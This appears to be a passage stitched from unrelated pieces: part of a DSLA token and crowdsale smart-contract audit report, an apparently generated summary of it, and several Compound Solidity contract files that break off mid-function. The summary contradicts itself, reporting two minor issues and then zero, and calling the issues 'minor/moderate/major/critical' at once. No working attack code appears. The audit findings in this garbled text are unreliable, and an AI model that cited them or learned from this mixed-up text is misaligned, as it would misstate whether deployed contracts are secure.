.sol https://github.com/ OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blo b/master/contracts/ownership/Ownable.sol 6. Pausable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles .sol https://github.com/O penZeppelin/openzeppelin -solidity/blob/master/contracts/access/Roles.sol 8 / 18 4.2 Tested Contract Files File Checksum (SHA256) contracts \Migrations .sol 700c0904cfbc20dba65f774f54a476803a624372cc95d926b3eba9b4d0f0312e contracts \DSLA \DSLA.sol 00339bccbd166792b26a505f10594341477db5bcd8fe7151aebfe73ac45fbb9f contracts \DSLA \LockupToken.sol 3afc805367c072082785f3c305f12656b0cbf1e75fe9cfd5065e6ad3b4f35efa contracts \Crowdsale \ DSLACrowdsale.sol fc66d9d53136278cf68d7515dc37fab1f750cacff0079ceac15b175cf97f01bc contracts \Crowdsale \Escrow.sol 2c912e901eb5021735510cb14c6349e0b47d5a3f81d384cfb1036f1f0e30996c contracts \Crowdsale \ PullPayment.sol a5a98901913738 df2ff700699c2f422944e9a8a270c708fdbc79919fc9b30a42 contracts \Crowdsale \ VestedCrowdsale.sol e6b70f3dfd294e97af28ecd4ee720ffbf1ca372660302e67464ecf69d4da6a9b contracts \Crowdsale \ Whitelist.sol 027aa5a6799bd53456adfb4ef9f0180890a376eeeb4c6ae472388af6ea78b308 9 / 18 4.3 Contract Specifications (DSLA Token) Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.4.24 Burn Function Yes ( DSLACrowdsale.sol) Mint Function Yes Ticker Symbol DSLA Total Supply 10 000 000 000 Timestamps used Yes (Blocktimestamp in DSLACrowdsale.sol) 10 / 18 5. Summary of Contracts and Methods Functions will be listed as: [Pub] public [Ext] external [Prv] private [Int] internal A ($)denotes a function is payable. A # indicates that it's able to modify state. 5.1 DSLA Token Shows a summary of the contracts and methods + DSLA (LockupToken) - [Pub] <Constructor> # + LockupToken (ERC20Burnable, Ownable) - [Pub] <Constructor> # - [Pub] setReleaseDate # - [Pub] setCrowdsaleAddress # - [Pub] transferFrom # - [Pub] transfer # - [Pub] getCrowdsaleAddress + Ownable - [Int] <Constructor> # - [Pub] owner - [Pub] isOwner - [Pub] renounceOwnership # - [Pub] transferOwnership # - [Int] _transferOwnership # 11 / 18 5.2 Crowdsale Shows a summary of the contracts and methods + DSLACrowdsale (VestedCrowdsale, Whitelist, Pausable, PullPayment) - [Pub] <Constructor> # - [Ext] <Fallback> ($) - [Pub] buyTokens ($) - [Pub] goToNextRound # - [Pub] addPrivateSaleContri butors # - [Pub] addOtherCurrencyContributors # - [Pub] closeRefunding # - [Pub] closeCrowdsale # - [Pub] finalizeCrowdsale # - [Pub] claimRefund # - [Pub] claimTokens # - [Pub] token - [Pub] wallet - [Pub] raisedFunds - [Int] _deliverTokens # - [Int] _forwardFunds # - [Int] _getTokensToDeliver - [Int] _handlePurchase # - [Int] _preValidatePurchase - [Int] _getTokenAmount - [Int] _doesNotExceedHardCap - [Int] _burnUnsoldTokens # + Escrow (Ownable) - [Pub] deposit ($) - [Pub] withdraw # - [Pub] beneficiaryWithdraw # - [Pub] depositsOf + PullPayment - [Pub] <Constructor> # - [Pub] payments - [Int] _withdrawPayments # - [Int] _ asyncTransfer # - [Int] _withdrawFunds # + VestedCrowdsale - [Pub] getWithdrawableAmount - [Int] _getVestingStep - [Int] _getValueByStep + Whitelist (Ownable) - [Pub] addAddressToWhitelist # - [Pub] addToWhitelist # - [Pub] removeFromWhitelist # 12 / 18 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 6.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the high lev el representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 7. Test Su ite Results (Crowdsale) 7.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 7.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the h igh level representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 13 / 18 8. Specific Attack s (DSLA Token & Crowdsale ) Attack Code Snippet Severity Result/Recommendation An Attack Vector on Approve/TransferFrom Methods Source: https://docs.google.com/docum ent/d/1YLPtQxZu1UAvO9cZ1 O2RPXBbT0mooh4DYKjA_jp - RLM/edit In file: openzeppelin -solidity - master \contracts \token \ERC20 \ERC20 .so l:74-80 function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } Severity: 2 Only use the approve function of the ERC -20 standard to change allowed amount to 0 or from 0 (wait till transaction is mined and approved). The DSLA Smart Contract is secure against that attack Timestamp Dependence "block.timestamp" can be influenced by miners to a certain degree. Source: https://smartcontractsecurity.git hub.io/SWC - registry/docs/SWC -116 In file: stacktical -tokensale -contracts - master \contracts \DSLA \LockupToken.sol : 23 require(_releaseDate > block.timestamp); Severity: 0 Developers should write smart contracts with the notion that block timestamp and real timestamp may vary up to half a minute. Alternatively, they can use block number or external source of timestamp via oracles. Unchecked math : Solidity is prone to integer over- and underflow. Overflow leads to unexpected effects and can lead to loss of funds if exploited by a malicious account. No critical mathematical functions are used Severity: 2 Check against over - and underflow (use the SafeMath library). The DSLA Smart Contract is secure against that attack 14 / 18 Unhandled Exception A call/send instruction returns a non -zero value if an exception occurs during the execution of the instruction (e.g., out -of-gas). A contract must check the return value of these instructions and throw an exception. Severity: 0 Catching exceptions is not yet possible. Sending tokens (not Ethereum) to a Smart Contract It can happen that users without any knowledge, can send tokens to that address. A Smart Contract needs to throw that transaction as an exception. Severity: 1 The function of sending back tokens that are not whitelisted, is not yet functional. The proposal ERC223 can fix it in the future. https://github.com/Dexaran/ERC223 - token -standard SWC ID: 110 A reachable exception (opcode 0xfe) has been detected. This can be caused by typ e errors, division by zero, out -of- bounds array access, or assert violations. T his is acceptable in most situations. Note however that ‘assert() ’ should only be used to check invariants. Use In file: stacktical -tokensale - contra cts/contracts/Crowdsale/Escrow.sol :40 assert(address(this).balance >= payment) Severity: 1 The DSLA Smart Contract is secure against that exception 15 / 18 ‘require() ’ for regular input checking. Sources: https://smartcontractsecurity.github.io/SWC -registry https://dasp.co https://github.com/ChainsultingUG/solidity -security -blog https://consensys.github.io/smart -contra ct-best-practices/known_attacks 16 / 18 9. Executive Summary A majority of the code was standard and copied from widely -used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely -used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities , at the moment of audit . We noted that a majority of the functions were self -explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. High Risk Issues Medium Risk Issues Low Risk Issues Informal Risk Issues 17 / 18 10. General Summary The issues identified were minor in nature, and do not affect the security of the contract. Additionally, the code implements and uses a SafeMath contract, which defines functions for safe math operations that will throw errors in the cases of integer overflow or underflows. The simplicity of the audited contracts contributed greatly to their security . The usage of the widely used framework OpenZep pelin, reduced the attack surfac e. 11. Deployed Smar t Con tract https://etherscan.io/address/0x8efd96c0183f852794f3f18c48ea2508fc5dff9e (Crowdsale) https://etherscan.io/address/0xEeb86b7c0687002613Bc88328499F5734e7Be4c0 (DSLA T oken) We recommended to Update the etherscan.io information with Logo/Website /Social Media Accounts (DSLA Token) and verify the Smart Contract Code (Both Contracts) . That gives buyers more transparency. 18 / 18 Update d Code Base After A udit (No Impairment) Readjust of caps: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/6/files Token burn optional: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/3/files
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and the DSLA Crowdsale Contract revealed no critical or major issues. There were two minor issues which have been addressed. The code is well commented and uses code from other frameworks and smart Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present in DSLACrowdsale.sol - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp in DSLACrowdsale.sol - Functions listed as [Pub] public, [Ext] external, [Prv] private, [Int] internal - ($) denotes a function is payable - (#) indicates that it's able to modify state Conclusion: The report has provided a summary of the contracts and methods used in the DSLA Token. All the issues have been found to be of minor/moderate/major/critical level. The language used is Solidity, the token standard is ERC20, the most used framework is OpenZeppelin, the compiler version is 0.4.24, the burn function is present in DSLACrowdsale.
pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; import "./CTokenInterfaces.sol"; import "./SafeMath.sol"; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Source: https://github.com/smartcontractkit/chainlink/blob/develop/evm-contracts/src/v0.6/interfaces/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CTokenInterface cToken) external view returns (uint256); } contract ChainlinkPriceOracleProxy is Ownable, PriceOracle { using SafeMath for uint256; /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; address public ethUsdChainlinkAggregatorAddress; struct TokenConfig { address chainlinkAggregatorAddress; uint256 chainlinkPriceBase; // 0: Invalid, 1: USD, 2: ETH uint256 underlyingTokenDecimals; } mapping(address => TokenConfig) public tokenConfig; constructor(address ethUsdChainlinkAggregatorAddress_) public { ethUsdChainlinkAggregatorAddress = ethUsdChainlinkAggregatorAddress_; } /** * @notice Get the underlying price of a cToken * @dev Implements the PriceOracle interface for Compound v2. * @param cToken The cToken address for price retrieval * @return Price denominated in USD, with 18 decimals, for the given cToken address. Comptroller needs prices in the format: ${raw price} * 1e(36 - baseUnit) */ function getUnderlyingPrice(CTokenInterface cToken) public view returns (uint256) { TokenConfig memory config = tokenConfig[address(cToken)]; (, int256 chainlinkPrice, , , ) = AggregatorV3Interface( config .chainlinkAggregatorAddress ) .latestRoundData(); require(chainlinkPrice > 0, "Chainlink price feed invalid"); uint256 underlyingPrice; if (config.chainlinkPriceBase == 1) { underlyingPrice = uint256(chainlinkPrice).mul(1e28).div( 10**config.underlyingTokenDecimals ); } else if (config.chainlinkPriceBase == 2) { (, int256 ethPriceInUsd, , , ) = AggregatorV3Interface( ethUsdChainlinkAggregatorAddress ) .latestRoundData(); require(ethPriceInUsd > 0, "ETH price invalid"); underlyingPrice = uint256(chainlinkPrice) .mul(uint256(ethPriceInUsd)) .mul(1e10) .div(10**config.underlyingTokenDecimals); } else { revert("Token config invalid"); } require(underlyingPrice > 0, "Underlying price invalid"); return underlyingPrice; } function setEthUsdChainlinkAggregatorAddress(address addr) external onlyOwner { ethUsdChainlinkAggregatorAddress = addr; } function setTokenConfigs( address[] calldata cTokenAddress, address[] calldata chainlinkAggregatorAddress, uint256[] calldata chainlinkPriceBase, uint256[] calldata underlyingTokenDecimals ) external onlyOwner { require( cTokenAddress.length == chainlinkAggregatorAddress.length && cTokenAddress.length == chainlinkPriceBase.length && cTokenAddress.length == underlyingTokenDecimals.length, "Arguments must have same length" ); for (uint256 i = 0; i < cTokenAddress.length; i++) { tokenConfig[cTokenAddress[i]] = TokenConfig({ chainlinkAggregatorAddress: chainlinkAggregatorAddress[i], chainlinkPriceBase: chainlinkPriceBase[i], underlyingTokenDecimals: underlyingTokenDecimals[i] }); emit TokenConfigUpdated( cTokenAddress[i], chainlinkAggregatorAddress[i], chainlinkPriceBase[i], underlyingTokenDecimals[i] ); } } event TokenConfigUpdated( address cTokenAddress, address chainlinkAggregatorAddress, uint256 chainlinkPriceBase, uint256 underlyingTokenDecimals ); } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; /** * @title Compound's Comptroller Contract * @author Compound * @dev This was the first version of the Comptroller brains. * We keep it so our tests can continue to do the real-life behavior of upgrading from this logic forward. */ contract ComptrollerG1 is ComptrollerV1Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { struct Market { /** * @notice Whether or not this market is listed */ bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /** * @notice Per-market mapping of "accounts in this asset" */ mapping(address => bool) accountMembership; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice Emitted when an admin supports a market */ event MarketListed(CToken cToken); /** * @notice Emitted when an account enters a market */ event MarketEntered(CToken cToken, address account); /** * @notice Emitted when an account exits a market */ event MarketExited(CToken cToken, address account); /** * @notice Emitted when close factor is changed by admin */ event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /** * @notice Emitted when a collateral factor is changed by admin */ event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /** * @notice Emitted when liquidation incentive is changed by admin */ event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /** * @notice Emitted when maxAssets is changed by admin */ event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /** * @notice Emitted when price oracle is changed */ event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); // closeFactorMantissa must be strictly greater than this value uint constant closeFactorMinMantissa = 5e16; // 0.05 // closeFactorMantissa must not exceed this value uint constant closeFactorMaxMantissa = 9e17; // 0.9 // No collateralFactorMantissa may exceed this value uint constant collateralFactorMaxMantissa = 9e17; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint constant liquidationIncentiveMinMantissa = mantissaOne; // liquidationIncentiveMantissa must be no greater than this value uint constant liquidationIncentiveMaxMantissa = 15e17; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // if market is not listed, cannot join move along results[i] = uint(Error.MARKET_NOT_LISTED); continue; } if (marketToJoin.accountMembership[msg.sender] == true) { // if already joined, move along results[i] = uint(Error.NO_ERROR); continue; } if (accountAssets[msg.sender].length >= maxAssets) { // if no space, cannot join, move along results[i] = uint(Error.TOO_MANY_ASSETS); continue; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[msg.sender] = true; accountAssets[msg.sender].push(cToken); emit MarketEntered(cToken, msg.sender); results[i] = uint(Error.NO_ERROR); } return results; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { minter; // currently unused mintAmount; // currently unused if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param mintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external { cToken; // currently unused minter; // currently unused mintAmount; // currently unused mintTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { cToken; // currently unused redeemer; // currently unused redeemAmount; // currently unused redeemTokens; // currently unused // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks if (!markets[cToken].accountMembership[borrower]) { return uint(Error.MARKET_NOT_ENTERED); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { cToken; // currently unused borrower; // currently unused borrowAmount; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { payer; // currently unused borrower; // currently unused repayAmount; // currently unused if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external { cToken; // currently unused payer; // currently unused borrower; // currently unused repayAmount; // currently unused borrowerIndex; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { liquidator; // currently unused borrower; // currently unused repayAmount; // currently unused if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* 